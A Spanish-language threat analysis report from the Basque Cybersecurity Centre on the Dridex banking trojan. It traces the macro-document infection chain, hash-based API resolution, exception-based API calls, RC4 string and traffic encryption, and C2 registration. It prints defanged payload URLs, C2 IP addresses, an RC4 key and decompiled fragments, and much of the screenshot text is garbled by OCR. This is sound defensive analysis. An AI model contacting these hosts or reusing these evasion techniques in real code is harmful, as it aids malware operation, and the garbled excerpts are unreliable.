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Clausula de exencion de responsabilidad

El presente documento se proporciona con el objeto de divulgar las alertas que
el BCSC considera necesarias en favor de la seguridad de las organizaciones y
de la ciudadania interesada. En ningun caso el BCSC puede ser considerado
responsable de posibles dafios que, de forma directa o indirecta, de manera
fortuita o extraordinaria pueda ocasionar el uso de la informacion revelada, asi
como de las tecnologias a las que se haga referencia tanto de la web de BCSC
como de informacién externa a la que se acceda mediante enlaces a paginas
webs externas, a redes sociales, a productos de software o a cualquier otra
informacion que pueda aparecer en la alerta o en la web de BCSC. En todo caso,
los contenidos de la alerta y las contestaciones que pudieran darse a través de
los diferentes correos electronicos son opiniones y recomendaciones acorde a
los términos aqui recogidos no pudiendo derivarse efecto juridico vinculante
derivado de la informacion comunicada.

Clausula de prohibicién de venta

Queda terminantemente prohibida la venta u obtencién de cualquier beneficio
econdmico, sin perjuicio de la posibilidad de copia, distribucion, difusién o
divulgacion del presente documento.
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SOBRE EL BCSC

El Centro Vasco de Ciberseguridad (Basque Cybersecurity Centre, BCSC) es la
entidad designada por el Gobierno Vasco para elevar el nivel de madurez de la
ciberseguridad en Euskadi.

Es una iniciativa transversal que se enmarca en la Agencia Vasca de Desarrollo
Empresarial (SPRI), sociedad dependiente del Departamento de Desarrollo
Econdmico, Sostenibilidad y Medio Ambiente del Gobierno Vasco. Asi mismo,
involucra a otros tres Departamentos del Gobierno Vasco: el de Seguridad, el de
Gobernanza Publica y Autogobierno, y el de Educacién, y a cuatro agentes de la
Red Vasca de Ciencia, Tecnologia e Innovacién: Tecnalia, Vicomtech, lkerlan y
BCAM.

Departamentos del Gobierno Vasco

» Desarrollo Econdmico, Sostenibilidad y Medio
Ambiente
* Seguridad
« Gobernanza Piblica y Autogobierno
s Educadén BASQUE
CYBERSECURITY
CENTRE

Centros Tecnolégicos

» Basque Center for Applied Mathematics
+ lkerlan

» Tecnalia
» Vicomtech

EI BCSC es la entidad de referencia para el desarrollo de la ciberseguridad y de
la confianza digital de ciudadanos, empresas e instituciones publicas en Euskadi,
especialmente para los sectores estratégicos de la economia de la region.

La misién del BCSC es por tanto promover y desarrollar la ciberseguridad en la
sociedad vasca, dinamizar la actividad empresarial de Euskadi y posibilitar la
creacion de un sector profesional que sea referente. En este contexto se impulsa
la ejecucion de proyectos de colaboracion entre actores complementarios en los
ambitos de innovacion tecnoldgica, investigacion y transferencia tecnolégica a la
industria de fabricacion avanzada y otros sectores.

Asi mismo, ofrece diferentes servicios en su rol como Equipo de Repuesta a
Incidentes (en adelante CERT, por sus siglas en inglés “Computer Emergency
Response Team”) y trabaja en el ambito de la Comunidad Autébnoma del Pais
Vasco para aumentar la capacidad de deteccion y alerta temprana de nuevas
amenazas, la respuesta y analisis de incidentes de seguridad de la informacion,
y el disefio de medidas preventivas para atender a las necesidades de la
sociedad vasca. Con el fin de alcanzar estos objetivos forma parte de diferentes
iniciativas orientadas a la gestion de incidentes de ciberseguridad:

W) i ) CSIRT €5
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RESUMEN EJECUTIVO

Dridex es un malware de tipo troyano en activo desde 2014 como resultado de
la evolucién del troyano Cridex que, a su vez, se basa en el codigo fuente de la
familia Zeus filtrado con anterioridad. Desde entonces se han sucedido hasta
cuatro versiones diferentes del malware y, con cada versién mayor, diferentes
modificaciones y novedades hasta convertirse, a dia de hoy, en una de las
amenazas mas persistentes en el tiempo.

Su desarrollo se atribuye al grupo cibercriminal ruso autodenominado como “Evil
Corp”, al cual se le conoce por otros nombres como: “TA505”, “SectorJ04’,
“‘INDRIK SPIDER”, “GRACEFUL SPIDER’, “GOLD TAHOE” o “Dudear’ y el cual
se estima que ha podido generar mas de 100 millones de ddlares de beneficio
con sus actividades ilicitas.

En diciembre de 2019 el departamento de justicia de Estados Unidos sefnald a
Maksim Yakubets y Igor Turashev como desarrolladores del malware,
ofreciendo una recompensa de hasta 5 millones de délares por cualquier
informacion que pueda derivar en sus detenciones.

Dridex se centra principalmente en el sector financiero y, desde agosto de 2017,
se vincula al mismo grupo el desarrollo del ransomware BitPaymer que es
utilizado como segunda etapa en la infeccion del troyano en algunos casos,
aunque también es asociado a otras amenazas como Emotet o Ursnif.
Posteriormente, en 2019, aparece un nuevo ransomware, DoppelPaymer, el cual
se atribuye a alguno de los miembros del grupo debido a sus similitudes con el
anterior.

La principal funcionalidad del malware es la de robar cddigos de acceso a
aplicaciones de banca online mediante técnicas como la inyeccion de scripts
maliciosos cuando éstas son visitadas por el usuario. No obstante, Dridex se
trata de un malware modular e incluye otros médulos para realizar otras
funcionalidades como keylogger, VNC, proxy SOCKS, otros malware como
Pony, spammer o stealer de emails.

Una de las razones fundamentales por las que Dridex ha persistido tanto en el
tiempo es por su arquitectura de red, empleando botnets P2P compuestas por
equipos comprometidos y servidores proxy inversos, formando una arquitectura
en varias capas que hace que sea tremendamente complicado identificar las
direcciones de los servidores de mando y control (C2) utilizados por el malware.
Ademas, se han identificado diferentes botnets independientes las unas de las
otras lo cual dificulta aun mas su seguimiento y desactivacion.

Por todo esto, Dridex representa una amenaza significativa y que debe ser tenida
en especial consideracion por el impacto que puede suponer a la organizacién a
la que afecte.
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Flujo de infeccion

Dado que las campanas de Dridex son operadas por distintos afiliados, los
vectores de infeccion pueden diferir entre unos casos y otros. No obstante, el
modus operandi mas destacado es la utilizacion de documentos ofimaticos con
macros maliciosas para descargar la primera etapa del malware, la cual se
encarga de realizar un reconocimiento del sistema y descargar e implantar la
carga principal de Dridex.

A partir de aqui, en funcién de los datos obtenidos y bajo demanda de los propios
operadores del malware, se desplegaran otros modulos para realizar inyecciones
en navegadores web, descarga de payloads adicionales, control remoto por VNC
o incluir a la propia maquina infectada en un proxy mas de la botnet.

_’—>'§‘,—> ?ﬁ:ﬁ —_—

1. Email con 2. El usuario 3. Se descarga 4 El | ‘
adjunto abre el el payload - El maiware
malicioso documento (loader) de compromete
Dridex el sistema
200
"— & ¢ — A h\
g
7. Posible fase de 6. Recopilacion 5. El loader contacta
post-explotacion de la informacion con los C2 para
bajo demanda bancaria descargar e instalar

modulos adicionales

Flujo de infeccion de Dridex

El andlisis llevado a cabo se basa en las siguientes muestras (SHA256):
Fase 1 (documento ofimatico):
0fc36de9d9dc726f53fd9849e8006869e5691df817c3bde191d68e14f7580dd4
Fase 2 (loader empaquetado):
db8945a793ea1bd94eb1aa3e3e14e84da66b3048f4a86e814e6d0f8dd5¢c8c276
Fase 3 (loader desempaquetado):
760b58c6c886ceb906f772574c6642a4c97694675b1bda6741ce963735d6¢39d
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En los ultimos casos observados, el malware se distribuye como una libreria,
DLL y esta pensada para ser lanzada desde el proceso regsrv32.exe con el
parametro “-s”. No obstante, también se han observado binarios ejecutables con
extension .exe en versiones anteriores.

Analisis de la operativa

Desde sus inicios, Dridex ha sido distribuido de muy diversas formas. En este
caso la infeccion comienza con un documento ofimatico, aunque esto puede
cambiar en el futuro.

Fase 1: Documento ofimatico

A diferencia del caso de otras familias, este documento no esta programado para
llevar a cabo la infeccidn sin accidén del usuario. Por tanto, ademas de activar la
utilizacién de macros mediante el boton de “Habilitar contenido”, también es
necesario que el usuario pulse un botén que se ha colocado en su interior.

=]

Archivo Insertar Disefio de pagina Férmulas Datos Revisar  Vista Q ;Qué desea

= X Cortar
ER Copiar ~

w0 G

v o g0
. [, g5 om | 48 g3 Formato Darfc
condicional - como

Calibri -1 | A A

Pegar NKS-|H-[D-4a-

' Copiar formato

Portapapeles [ Fuente 5 Alineacién [ Nimero & Estilc

c9 hd fx

]

VIEW AND PAY

FREIGHTOUJTE INVOICE FREIGHTOUOTE INVOICE

Freightquote.com, Inc. ® :

Listo

El proyecto correspondiente a las macros VBA se encuentra protegido por lo que
no es posible visualizar su contenido desde la propia interfaz. Realizando una
ejecucion de éstas, se observa como intenta contactar con las siguientes
direcciones:

hxxps://mogakajames.equilibrium.co[.]ke/z0vzt9gw.tar
hxxps://api.quocbaol.]biz/qjd9f0x9.zip

hxxps://unisoftcc[.Jcom/fsrido3.zip

Los enlaces se encuentran camuflados con la extension .zip para evitar
detecciones de red. Sin embargo, el fichero descargado se trata de un binario
ejecutable con cabecera “MZ”.
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Este binario es guardado en la carpeta temporal del usuario %TEMP% vy
ejecutado mediante el binario del sistema regsvr32.exe.

Fase 2: Loader empaquetado

El fichero descargado resulta ser una libreria de enlace dinamico (DLL), la cual
ejecuta el loader de Dridex. Al encontrarse empaquetada, cuando se ejecuta se
desempaqueta en memoria.

Para facilitar el analisis de la muestra, se colocan puntos de interrupcion en
diferentes API del sistema que suelen ser utilizadas durante procesos de
desempaquetado como VirtualAlloc y VirtualProtect.

De esta forma, se extrae desde la memoria el binario que contiene el codigo del
loader de Dridex que, inicialmente, se encuentra comprimido mediante aPlib
(cabecera “MZ”).

Blcru | @orsho | Lrlog [ [Uitotas | @ bresiponts | =8 Mapace

ia | () Piadelamadss | SiseH | [o) Sapt | @) simbolos | <> Fuente | L Referencas | tios | < snowman | #aRearsos | ¢ Trace |
[VirtualFrotect A

. sger ATFro ocultar FPU

- = EAX 00000585
=) EBX  FF545890
B8 ECX 00000001
Es0e) EDX 00640180
8B4E 04 EBP_ 00IDF4A4

. 8948 04

* 58 _Sasa fecto (stdcal)

edi=0

L Text:755642FF kernel32.d11:$142FF #142FF <virtualProtect>

Volver a 000D083E de 777
dtgyvinm. 72620000

@ monitorizar 1 | [x-ILocales | 7 struct

¥4 volcado 1| 44 Volcado 2 | @4 volcado 3 | 44 volcado 4
[T

Fo
drgyvihm. 72896EC0

volver a dtgyvinm.728248FD de dtgyvihm.

008000CO( 40 81 53 12|2C 3 08 10(07 DO AA CC|3C 50 dtayyitm.72896€Co
40 AB 28 93|4D D1 CO 99|40 48 88 80|5C 61
D6 89 AB(20 5A 1F C1|2€ 74 65 78|CE 21
40(A7 88 23 0130 81 60 26|72 1C
5C[89 FC 5€ 9111 43 42 01[cC 40
2 80|65 02 08 B0[32 4c A2 BE|28 €0
00800120( 65 &C GF 63|82 08 D4 DC|CE OC 08 11|AG AF 28

Fase 3: Loader desempaquetado

Una vez extraido y descomprimido, el loader principal de Dridex se trata de otra
DLL que ocupa 250KB aproximadamente.

Lo primero que llama la atencién de este binario es que no contiene ninguna
cadena de caracteres que de pistas sobre su funcionalidad y unicamente importa
dos APl de Windows, OutputDebugStringA y Sleep, 10 que se trata de un
indicador de que lleva a cabo un cargado dinamico de API, todo esto con el
objetivo de evitar detecciones y de complicar la tarea de analisis.

Estas dos API llevan a cabo las primeras operaciones del binario, que realiza
diferentes llamadas con el objetivo de retrasar la ejecucion de la operativa
principal, seguramente con el fin de evitar detecciones en entornos de
sandboxing.

data:733A5608 ; Flags 40000048: Data Readable

::::;:'gggg 3 Alignment : default 5 xrefs to OutputDebugStringA [o =]
.data:73345000 ; Imports from KERWEL32.d1l Directio Ty Address Text
dﬂtﬁ‘733f5'333i ES Up p delay loop_7337515048C call ds:OutputDebugStringA
::::;ijggg : b= Up p  delay_loop_733751504C2  call ds:OutputDebugStringA
data:733A5000 ; Segment fype: Externs [Eup p delay_loop_733751504€8 call ds:OutputDebugStringA
data-733A5600 : idata [EHup p delay loop_73375150+11E call ds:OutputDebugStringA
datz:733A5000 ; veid _ stdcall OutputDebugStringA(LPCSTR 1pOutputString) Eup p delay loop_73375150+144 call ds:0utputDebugstringa
.data:733A5000 extrn QutputDebugStringA:dword Eup p  delay loop 733751504174 call ds:OutputDebugStringA
data:733A5000 5 CODE XREF: delay ]| @@ up p delay_loop_73375150+1A0 call ds:OutputDebugStringA
.data:733A5000 5 delay loop 7337513 | [Hup p delay_loop 733751504106 call ds:OutputDebugStringa
data:733A5884 ; void _ stdcall Sleep(DWORD dwhMilliseconds) Eup r delay loop_7337515045C  call d:OutputDebugStringA
extrn Sleep:dword ; Sg?sxﬁsz :iiéi [ up r delay loop 733751504C2  call dsiOutputDebugStringA
. yoop [Eup r  delay_loop_733751504E8 call ds:OutputDebugStringA
[Eup r  delay loop 73375150411F call ds:OutputDebugstringA
Eup r delay loop 733751504144 call ds:OutputDebugStringA
B up r  delayloop_73375150+17A call ds:OutputbebugStringA
; Segment type: Pure data [Eup r delay_loop_73375150+140 call ds:OutputDebugStringA
; Segment permissions: Read . . [Eup r  delay_loop_73375150+1D6 call  ds:Out{tDebugStingA
_rdata segment para public 'DATA' use32 [Eop. o .rdata:73zaacon dd waOum‘ijbugsmngAJ Import Address Table
assume cs:_rdata
sorg 733 5828h
xmmword_733A5820 xmmword DAC4GECBE1BE1SFEBDCIDC542649746ECh
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Tras tratar de analizar estaticamente el codigo del binario, resulta practicamente
imposible en un primer momento, debido a la gran cantidad de piezas en las que
es dividido el codigo con llamadas a gran cantidad de subfunciones, por lo que
se requiere de un analisis dinamico que permita ir encontrando las principales
rutinas del malware.

— e w_ s sommansy

if ( byte 733AB@2A == 1 )
{

c2_request_73376AD@( (int)& 77, exlle4lFel, 1, 1);
sub_73399528(&v77);
sub_73399510(&.77);
if ( sub_73399658(v31) )
{
c2_request_73376AD@((int)& /76, @xD3EF7577, @, @);
sub_73399510(&v76);

else
{
72 = sub_73383930(0);
73 = -1812174634;
if ( *(_BYTE *)(v72 + 11) == 32 )
73 = 132659622;

sub_7337989@(73);

sub_73399520(&v78);

sub_73399518(&/78) ;
}

}

sub_73385A20(&v37);

74 = *(_BYTE **)(v71 + 8);

if (74 )
w71 = B

sub_7339A118(v71 + 16);
sub_73379E7@(vE1, v71);
sub_73385AC8(&vE7);

}
sub_73390648(0) ;
sub_73388810(0) ;
sub_73388810(0) ;
sub_73395C98(&.141);
sub_73399358(8) ;

5 = sub_73399650(&v118);
sub_73399678(v5 + 4);

6 = sub_73399650(&v118);
*(_DWORD *)sub_73399648(v6 - 4) = -162527963;
7 = sub_7339965@(&v110);
sub_73399678(v7 + 4);

8 = sub_73399650(&v118);
*(_DWORD *)sub_73399648(v3
sub_7338FDDB(3, 15);
sub_73388CCO(v142);
sub_73388CAB(&v142);

9 = sub_73390218((unsigned _ int16)*/139);

- 4) = 624151766;

Con respecto a la carga dinamica de API, se identifica que Dridex posee un
mecanismo propio de una técnica conocida como “Call APl By Hash’, la cual
consiste en almacenar el hash del nombre de la API a llamar y buscarlo en el
sistema objetivo tras aplicar el mismo algoritmo de hash sobre los nombres de
API de las librerias cargadas.

Para el caso de Dridex, el malware posee una funcién encargada de resolver la
APl que recibe dos parametros: el hash del nombre de la DLL y el hash del
nombre de la API a buscar en dicha DLL.

call sub F33a7988

push llllslj-‘-.EBB?hl Nombre API

push @A1318F65h| Nombre DLL

call resclve api 73381508 ; kernel32.dll!ExitProcess
Mo ExitProcess, eax

mowzx ~ eax. bwte 733ABB23 I

El algoritmo utilizado para llevar a cabo dicha resolucién no es trivial, pero, en
definitiva, la técnica consiste en que si la API no ha sido resuelta por el malware
aun, recupera el Process Environment Block (PEB) y procesa la lista de DLL a la
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que apunta éste, calculando el hash CRC32 del nombre de cada una de ellas y
de sus funciones exportadas, comparando dichos valores con los pasados a la
funcion. No obstante, para complicarlo aun mas, a estos valores se le aplica una
operacion XOR con un valor definido en el propio codigo.

*(_ﬁ;:n: Fy(vie + va + 120);

laz v1l =

la3 v12 = w11 + *(_DWORD *}(v1e + vd4 + 124);
184 v13 = w4 + *({_DWORD *){vil + v4 + 32);
1as vi4 = (unsigned _ intlé *){v4 + *({_DWORD *)(v1l + w4 + 36)});
les v52 = w4 + *(_DWORD *}){vlil + v4 + 36);
la7 if ( *(_DWORD *)(vll + w4 + 24) )

108 {

1@9 /15 = 8;

1le /53 = v4E ~ Bx38EA5CTE;

111 w51 v1ld;

112 56 = v1Z;

113 w49 = v1l;

114 while ( 1 )

115 {

vle = (char *}(v4 + *(_DWORD *)}(v13 + 4 * (_DWORD)++v15 - 4));

>>> hex(crc32(b'KERNEL32.DLL"') ©~ 0x38BA5C7B)

'Oxal310f65"

Una vez resuelta una API, Dridex utiliza un truco para llamar a esta direccion que
consiste en lanzar una excepcion mediante el codigo de operacion “INT 37, la
cual es procesada mediante una funcién propia que termina llamando a la API.

Para conseguirlo, la instruccion “INT 3” genera el codigo de excepcion 80000003
(EXCEPTION_BREAKPOINT) que la funcion compara en un switch. En este
contexto, el registro EAX contiene el nombre de la API a ser llamada devuelto
por la funcién anterior y es enviado a la pila, tras lo cual modifica los valores de
los registros EIP y ESP para terminar transfiriendo, a su vuelta, el flujo a dicha
API. Al final de la funcidn, se devuelve el cédigo de retorno -1, que corresponde
con EXCEPTION_CONTINUE_EXECUTION e indica al sistema que restaure los
valores de los registros y continue con la ejecucion.

Ltext:73387048 loc_73387D48:
Ltext: 73387048

Ltext:73387D40 push edi

Ltext:73387D41 push ebp

Ltext:73387D42 mov edi, [esp+@Ch]

Ltext:73387D46 mov eax, [edi]

Ltext:73387D48 mov eax, [eax]

Ltext: 73387044 cmp eax, EXCEPTION_ACCESS_VIOLATION
Ltext:73387D4F jz short loc_73387D6D
Ltext:73387D51 cmp eax, EXCEPTION STACK _OVERFLOW
Ltext:73387D56 jz short loc_73387D6D
Ltext:73387D58 cmp eax, BCBeB8374h

Ltext:73387D5D jz short loc_73387D6D
Ltext:73387D5F cmp eax, EXCEPTION_BREAKPOINT ; Breakpoint
.text:73387D64 jz short breakpoint 73387DE4
.text:73387D66 xor eax, eax

.text:73387D68 pop ebp

.text:73387D69 pop edi

Ltext:73387D6A retn 4

et T33BIDED 5 — - mm e e e -
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73387DE4 breakpoint_73387DE4: 5 CODE XREF: .text:73387D641j

7338704 5 .text:73387DC9tj ...

73387DE4 mov eax, [edi+d]

73387DE7 inc dword ptr [eax+@8sh] ; Incrementa EPT +1

73387DED mov edx, [edi+4]

733870F0 add dword ptr [edx+2C4h], @FFFFFFFCh ; Modifica el valor original de ESP
733870F7 mov ecx, [edi+d]

73387DFA mov eax, [ecx+0C4h]

73387€00 mov ebp, [ecx+285h]

73387€06 inc ebp

73387€07 mov [eax], ebp ; Introduce en el stack la direccién de retorno modificada
73387€09 mov edx, [edi+d]

73387€0C add dword ptr [edx+2Cah], GFFFFFFFCh ; Modifica el registro ESP original
73387613 mov edi, [edi+d]

73387€16 mov eax, [edi+dCah]

73387€1C mov edi, [edi+080h] ; Obtiene el valor del registro EAX original (la API a llamar)
73387622 mov [eax], edi

73387624 mov eax, EXCEPTION_CONTINUE_EXECUTION ; El valor de retorno -1 corresponfe con EXCEPTION_CONTINUE_EXECUTION, que restaura la ejecucién en la siguiente linea tras la excep
73387629 pop ebp

73387624 pop edi

73387€28 retn 4

Con respecto a las cadenas de caracteres utilizadas por el binario, éstas se
encuentran en la seccion .data del mismo, ubicadas en diferentes bloques y
cifradas mediante RC4. Por cada bloque, los cuarenta primeros bytes
constituyen la clave de descifrado, mientras que el resto, hasta los siguientes
bytes nulos (0x00), es el contenido cifrado.

Program Manager
Progman
132~PsApi~shlwapi~shel132-WinInet

/grant:
\NTUSER. DAT
winsxs
x86_*
and64_*
*.exe
\Sessions\%d\BaseNamedObjects\

SOFTWARE/Trent /Vizor
\VizorUniclientLibrary.dll
ProductPath

Starting path:
ShellFolder

VOvajEOVEWKQ2daj LupVdyTEZLAQX1T7H994Q; E7SVFp2IS6XdZTpKie7ULpDf7k4ach2vgVUQbEXEHWWZF3bcGFq2NEF4agQDYyJVpFp8
<autoElevate>true

istrationInfo>
L ger><E erT
gonTriggel e 3 <StopAtDurationEnd>

false</StopAtDurationEn > :00:00</StartBoundary><Enabled>
TimeTr: ogonType>InteractiveToken</LogonType><RunLevel>

opI s
artWhenAvailable><RunOnlyIfNetworkAvailal
pOnIdieEnd><RestartOnIdle>false</Restarti
idden>t rue</Hidden><Runor
LowStartOnRemoteAppSessis eUni fiedSchedulingEngine>false</UseUnifiedSchedulingEngine><WakeToRun>
utionTimeLimit: /ExecutionTimelimit>< 7</Priority></Settings><Actions

Connection: Close
a Encoding

LW)D: (A; ;RPWPCCDCLCSWRCWDWOGA; ; ;S-1-1-0)

La funcionalidad principal de este loader es recopilar cierta informacion que
identifique al equipo infectado y realizar una peticion de registro en la botnet a
través de uno de los proxies configurados.

Tras el proceso de inicializacién, el binario comienza a obtener informacion del
sistema. En primer lugar, obtiene el nombre de usuario y del ordenador de la
victima, asi como la hora de instalacion del sistema mediante el registro de
Windows con las siguientes claves:

HKLM\SYSTEM\CurrentControlSet\Contro\ComputerName\ComputerName\ComputerName
HKCU\Volatile Environment\USERNAME
HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate

También lee el valor de la clave “Uninstal’ en la rama
“‘HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion” para listar el software
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instalado en la maquina y hace uso de la APl GetEnvironmentStringsW para
obtener las variables de entorno del sistema.

Con toda esta informacion, Dridex forma el cuerpo del paquete de comunicacion
inicial. Para ello, forma en primer lugar un identificador unico mediante el nombre
del equipo y el hash MD5 resultado de concatenar el nombre del equipo, el del
usuario y la fecha de instalacion junto a algunos bytes nulos (0x00).

A continuacion, calcula otro hash MD5 en base a la fecha de instalacion y otros
valores dependientes de la maquina que no ha sido posible identificar.

Seguido a estos valores, se encuentran algunos identificadores que parecen
indicar la version de la botnet o la arquitectura del sistema operativo y, por ultimo,
se incluyen los listados de software instalado y de variables de entorno.

30 44 45 53 4B 54 4F 50 2D 53 30 34 4C 49 32 48 5F 61 62 38 32 62 64 37 33 34 63 37 37 33 63 39 39 30 63 30 35 36 32 61 39 61 65 66 35 [BDESKTOP-SO4LI2H hbB2bd734C773c996C6562a9ae 15
62 36 31 35 33 63 66 65 38 30 37 37 32 37 34 63 37 66 62 34 39 32 36 34 30 38 30 39 63 66 33 37 61 39 30 36 28 4A 62 50 44 18 40 00 00 b6193CTe8677274c7TbA92640809cT37a906](IbPD.@. .
27 23 37 2D 5A 69 70 20 31 39 2E 30 30 20 28 78 36 34 29 20 28 31 39 2F 30 30 29 3B 41 70 70 6C 69 63 61 74 69 6F 6E 20 56 65 72 69 66 "#7-Zip 19.00 (x64) (19.00);Application Verif
69 65 72 20 78 36 34 20 45 78 74 65 72 6E 61 6C 20 50 61 63 6B 61 67 65 20 28 31 30 2E 31 2E 31 37 37 36 33 2E 31 33 32 29 3B 41 70 70 ier x64 External Package (10.1.17763.132);App
6C 69 63 61 74 69 6F 6E 20 56 65 72 69 66 69 65 72 20 78 36 34 20 45 78 74 65 72 6E 61 6C 20 50 61 63 6B 61 67 65 20 28 31 30 2E 31 2E lication Verifier x64 External Package (10.1.
31 38 33 36 32 2F 31 29 3B 44 69 61 67 6F 6F 73 74 69 63 73 48 75 62 5F 43 6F 6C 6C 65 63 74 69 6F 6E 53 65 72 76 69 63 65 20 28 31 36 18362.1);DiagnosticsHub_CollectionService (16
2E 31 2F 32 38 39 30 31 29 3B 47 69 74 20 76 65 72 73 69 6F 6F 20 32 2E 32 39 2F 32 2E 32 20 28 32 2E 32 39 2E 32 2F 32 29 3B 69 63 65 .1.28901);Git version 2.29.2.2 (2.29.2.2);ice
63 61 70 5F 63 6F 6C 6C 65 63 74 69 6F 6F 72 65 73 6F 75 72 63 65 73 20 28 31 36 2E 37 2E 33 30 33 31 30 29 3B 69 63 65 63 61 70 5F 63 cap_collectionresources (16.7.30310);icecap_c
6F 6C 6C 65 63 74 69 6F 6E 72 65 73 6F 75 72 63 65 73 78 36 34 20 28 31 36 2E 37 2E 33 30 33 30 39 29 3B 69 63 65 63 61 70 S5F 63 6F 6C ollectionresourcesx 64 (16.7.30309);icecap_col
6C 65 63 74 69 6F 6E 5F 6E 65 75 74 72 61 6C 20 28 31 36 2E 37 2E 33 30 33 31 30 29 3B 69 63 65 63 61 70 5F 63 6F 6C 6C 65 63 74 69 6F lection neutral (16.7.30310);icecap_collectio
6E 5F 78 36 34 20 28 31 36 2E 37 2F 33 30 33 31 30 29 3B 4B 69 74 73 20 43 6F GE 66 69 67 75 72 61 74 69 6F 6E 20 49 6E 73 74 61 6C 6C n_x64 (16.7.30310);Kits Configuration Install
65 72 20 28 31 30 2E 31 2F 31 37 37 36 33 2F 31 33 32 29 3B 4D 69 63 72 6F 73 6F 66 74 20 2E 4E 45 54 20 46 72 61 6D 65 77 6F 72 6B 20 er (10.1.17763.132);Microsoft .NET Framework

34 20 4D 75 6C 74 69 2D 54 61 72 67 65 74 69 6E 67 20 50 61 63 6B 20 28 34 2E 30 2E 33 30 33 31 39 29 3B 4D 69 63 72 6F 73 6F 66 74 20 4 Multi-Targeting Pack (4.0.30319);Microsoft

2E 4E 45 54 20 46 72 61 6D 65 77 6F 72 6B 20 34 2E 36 2E 31 20 54 61 72 67 65 74 69 6F 67 20 50 61 63 6B 20 28 34 2E 36 2E 30 31 30 35 .NET Framework 4.6.1 Targeting Pack (4.6.0105
35 29 3B 4D 69 63 72 6F 73 6F 66 74 20 2E 4E 45 54 20 46 72 61 6D 65 77 6F 72 6B 20 34 2E 38 20 53 44 4B 20 28 34 2F 38 2E 30 33 39 32 5);Microsoft .NET Framework 4.8 SDK (4.8.0392
38 29 3B 4D 69 63 72 6F 73 6F 66 74 20 2F 4E 45 54 20 46 72 61 6D 65 77 6F 72 6B 20 34 2E 38 20 53 44 4B 20 28 65 73 70 61 (3 B1 6F 6C 8);Microsoft .NET Framework 4.8 SDK (espa..ol
29 2A 28 2 ?2F W I2F M 3R 3T W 3 29 R 4D AI AR 72 AF 73 AF AR 74 20 45 A4 A7 A5 20 28 3R 2 IF W IF 2K 3V 3V OF 3/ 22 29 MR 4D A9 ) (4 .R.ATA1):Micrasoft Fdae (RA.A_A27 A2):Mi

Toda esta informacién es cifrada mediante RC4 y una clave que se encuentra
embebida en el cédigo.

VOvajEOVEWKQf2dajlupVdyIEZ1AQX1T7H994Q

Tras cifrar el contenido, se le afiade, justo al principio, un hash CRC32 que
comprueba la integridad de los datos cifrados.

13159 httlpsl'l.lllo.164.184.226:6516 POST / v 403 145 text

Request | Response

[Raw}Params \Headers{HeX\
POST / HTTP/1.1
Cache-Control: no-cache
Host: 110.164.184.226:6516
Content-Length: 4944
Connection: close

©=3800+X 000000>0 902 93MY V0VV)OUW'OV |0V xVOT| VOORY 38050V IL*OVLINOVVI| LOOOYO (N8

Tf 1992@|9& 999 >029?9HDOVPONEVY +:DVPL--OXQ 19OV OHZOVAOV]IQ OXxOhONG | KHIOX39'AU

GC#HE 309/ 959'< |90 0200LO UODBOOWCSVSOSNOOONOZ JOQO VD a0V %|5 VNV VOI~9493 9>

{00 ON0Q € VO V3VOINOV)VIO& VP VOOV O OV 350V VOOVPOOKYOSI

TEQOYO|9OOB MODOTOIMOOTc0OO 90989 { 20000 VO[O M@ V)09 9V<I(VOVV0 © 00 Y0 U® )¥: XX |9TOCO&P ZOGL%

Una vez formado el paquete, es enviado a alguno de los proxies que trae
configurados el binario mediante una peticion HTTPS, por lo que para
inspeccionar el trafico es necesario romper el cifrado de la comunicacion primero
y, a su vez, descifrar el contenido del cuerpo del mensaje con la clave RC4.

A la hora de realizar la comunicacion, la funciéon encargada de dicha tarea
contiene diferentes ramas que corresponden a diferentes 6rdenes que los
servidores C2 pueden procesar y definidas en formato hash CRC32, que
corresponden con palabras como list, bot, dmod5b, dmod6, vnc, socks o modb,
por lo que todo parece indicar que este mdédulo se encarga de reportar las
acciones llevadas a cabo por otros médulos.
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sub_73399520(&v77); MRS

sub_73399518(&.77); >;>lg$g(§§£uct.unpack("<I", struct.pack(">I", crc32(b'list')))[0])
if ( sub_73399658(vE1) ) '0x c844'
>>> hex(struct.unpack("<I", struct.pack(">I", crc32(b'bot'}))[0])

{
c2_request_73376AD9((int)&:ﬁ-E AR ' 0x11041F01"

sub_7339951@(&v76); = |

c2_request_73376AD8((int)&v77,)

El listado de direcciones IP y puertos de dichos proxies de registro para los
servidores de mando y control (C2) del malware se encuentra codificado para
que no aparezcan como cadenas de caracteres normales.

Para realizar las peticiones, Dridex procesa los valores del ID de la botnet, asi
como las direcciones IP que se encuentran en forma de bytes en la seccion .data.

3ABB23 dbh __13h

34 32—1' botnet_id 733ABB24 dw 25CCh I ; DATA XREF: c2_request_73376AD0:loc_73377:
3ABB24 ;3 €2_request_73376ADB+ECTTr ..

3ABE26 byte 733ABB26 db @ ; DATA XREF: delay loop 73375158+48tr
3ABE27 byte 733ABB27 db @ ; DATA XREF: delay loop 73375158466BTr
3AB@28 byte 733AB828 db @ : DATA XREF: delay loop 73375158:loc_73375
3AEB28 3 D1lEntryPoint+25tr

3ABE29 byte 7338B829 db 2Eh ; DATA XREF: delay loop 733751584B1Efr
3AB@29 ; delay loop 7337515@8+B36tr

ILEB2A byte 733ABB2A db 1 ; DATA XREF: sub 73372848+414C31r

3AB@2A - delav lonrF32751SA8LAFT e

3ABB2B ; _ intls ips_?fff‘?fff:] .

3AEB2B ips 733ABB2B db 3 xrefs to Ips_T33ABU28

3AB02B Directioc Ty Address Text

?“EEEL db 178 r delay_loop_73375150+A27 eax, word ph
f‘f'gj,f'é db 128 r 2 request 73376AD0D+6CF movzx edx, ips_733!
;:BEZD r c2_request_7337EAD0O4+6EL movzx eax, ips_733
IABB2E db 83 r c2_request_F33TEADM:loc.. movzx eax, ips_733
IABRIF db 165 r c2 _request 73I3TOADO4+T759 movzx eax, ips_733
3ABB3R ; _ intle ips JESLBRSLLERT r c2_request FIITEADO4EDS movzx ecx, ips_733f
3MBE38 ips_733ABB30 dw 443 r  c2_request_73376ADO+EEZ movzx eax, ips_7334
?.-:-.EEB?S r c2_reguest_733T0AD0:loc... movzx eax, ips_733¢
S jE — ¢ c2_request 73I76AD04FE0 movzx edx, ips 73U
;:E;;i db ;39 r  sub_F3373180+26F moveEx eax, word pir
3ABA35 db 13 r sub_F3378180+E29 maovex  edsx, ips_733
IABB36 dw 8172 r sub_73373180+E35 MavEX eax, ips_733
3AB838 db 11@ r sub_73378180:loc_73373... movzx eax, ips_733
3ABB39 db 164 r sub_73378180+EAD movzy eax, ips_733
